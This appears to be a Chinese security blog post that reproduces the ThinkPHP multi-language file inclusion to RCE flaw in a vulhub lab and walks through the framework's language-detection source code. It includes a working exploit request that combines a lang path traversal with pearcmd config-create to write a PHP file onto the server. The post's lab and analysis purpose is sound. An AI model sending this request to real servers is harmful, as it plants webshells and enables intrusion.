Thinkphp多语言漏洞复现


0x01 漏洞原理

ThinkPHP在开启多语言功能的情况下存在文件包含漏洞,攻击者可以通过get、header、cookie等位置传入参数,实现目录穿越与文件包含组合拳的利用,通过pearcmd文件包含这个trick即可实现RCE。

1. 关于pearcmd

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。 在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定–with-pear才会安装。 在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。

想要利用此漏洞需要服务器满足下面两个条件才能利用:

1.PHP环境开启了register_argc_argv

2.PHP环境安装了pcel/pear

2. 影响版本

6.0.1 < ThinkPHP ≤ 6.0.13 5.0.0 < ThinkPHP ≤ 5.0.12 5.1.0 < ThinkPHP ≤ 5.1.8

3. 漏洞指纹

header=”think_lang”

0x02 漏洞复现

1. 环境搭建

https://github.com/vulhub/vulhub

进入目录 vulhub/thinkphp/lang-rce 运行docker-compose up -d 启动环境

访问地址:http://your-ip:8080/

2. 漏洞利用

首先,ThinkPHP多语言特性不是默认开启的,所以我们可以尝试包含public/index.php文件来确认文件包含漏洞是否存在。

如果漏洞存在,则服务器会出错,返回500页面。

向服务器发送payload生成文件shell.php文件

/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php

访问shell.phphttp://192.168.80.110:8080/shell.php

cookie处的构造

0x03 漏洞分析

1. pearcmd源码

require_once 'PEAR.php';
require_once 'PEAR/Frontend.php';
require_once 'PEAR/Config.php';
require_once 'PEAR/Command.php';
require_once 'Console/Getopt.php';

这里所需要用到的config-create处于–>config.php中,因此,攻击条件同时需要满足pecl/pear为已安装状态。根据这里的exp,这里利用了config-create,config-create的作用–>create a default configuration file,也就是创建默认的配置文件,并且在此处的文件路径进行传参,写入这个文件中。

payload

GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+xxx.php HTTP/1.1

2. ThinkPHP多语言源码分析

由于这个的攻击条件是要开启多语言功能,框架默认会在中间件middleware中添加,再接着通过detect来探测是否具有lang这个包来返回多语言的功能是否开启。通过学习得知,在这个中间件middle这,会调用handle()函数,于是这里查看了下被引用的地方,也就是loadlangpack.php这。

多语言功能包–>langpack

langset

继续定位到detect

detect–>可以看到GET[“lang”] 、HEADER[“think-lang”] 、COOKIE[“think_lang”] ,并且其中不含过滤代码,直接赋值给了 $langSet : 那么langset这个值便是可控的了

protected function detect(Request $request): string
    {
        // 自动侦测设置获取语言选择
        $langSet = '';

        if ($request->get($this->config['detect_var'])) {
            // url中设置了语言变量
            $langSet = $request->get($this->config['detect_var']);
        } elseif ($request->header($this->config['header_var'])) {
            // Header中设置了语言变量
            $langSet = $request->header($this->config['header_var']);
        } elseif ($request->cookie($this->config['cookie_var'])) {
            // Cookie中设置了语言变量
            $langSet = $request->cookie($this->config['cookie_var']);
        } elseif ($request->server('HTTP_ACCEPT_LANGUAGE')) {
            // 自动侦测浏览器语言
            $langSet = $request->server('HTTP_ACCEPT_LANGUAGE');
        }

        if (preg_match('/^([a-z\d\-]+)/i', $langSet, $matches)) {
            $langSet = strtolower($matches[1]);
            if (isset($this->config['accept_language'][$langSet])) {
                $langSet = $this->config['accept_language'][$langSet];
            }
        } else {
            $langSet = $this->lang->getLangSet();
        }

        if (empty($this->config['allow_lang_list']) || in_array($langSet, $this->config['allow_lang_list'])) {
            // 合法的语言
            $this->lang->setLangSet($langSet);
        } else {
            $langSet = $this->lang->getLangSet();
        }

        return $langSet;
    }

默认情况下,allow_lang_list 这个配置为空,langSet 被赋值给 $range,将$range 返回。

继续跟进loadlangpack里发现

this->load

已经在前面得知 langset是可控的,继续往下看

跟进this->load

this->parse 调用 include file

由于上面的langset是可控的,然后又被带入到this->parse执行,最后形成了文件包含漏洞

参考文章


文章作者: Captured
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Captured !
评论
 上一篇
宝塔面板RCE漏洞复现 宝塔面板RCE漏洞复现
该RCE与历史漏洞相似,同样是XSS到RCE,漏洞已在最新版7.9.3修复,漏洞影响范围<7.9.2,修复方式就是把版本直接更新到最新版7.9.3以上即可
2023-03-06
下一篇 
个人博客搭建 个人博客搭建
在工作之余前前后后大概花了半个月的时间,目前个人博客已经完善的差不多了,现在写个文章做个阶段总结,后续如果有更新的地方,会及时补充。本博客基于Hexo框架,采用hexo-theme-matery主题,并在此基础上做了改进。
2023-01-16
  目录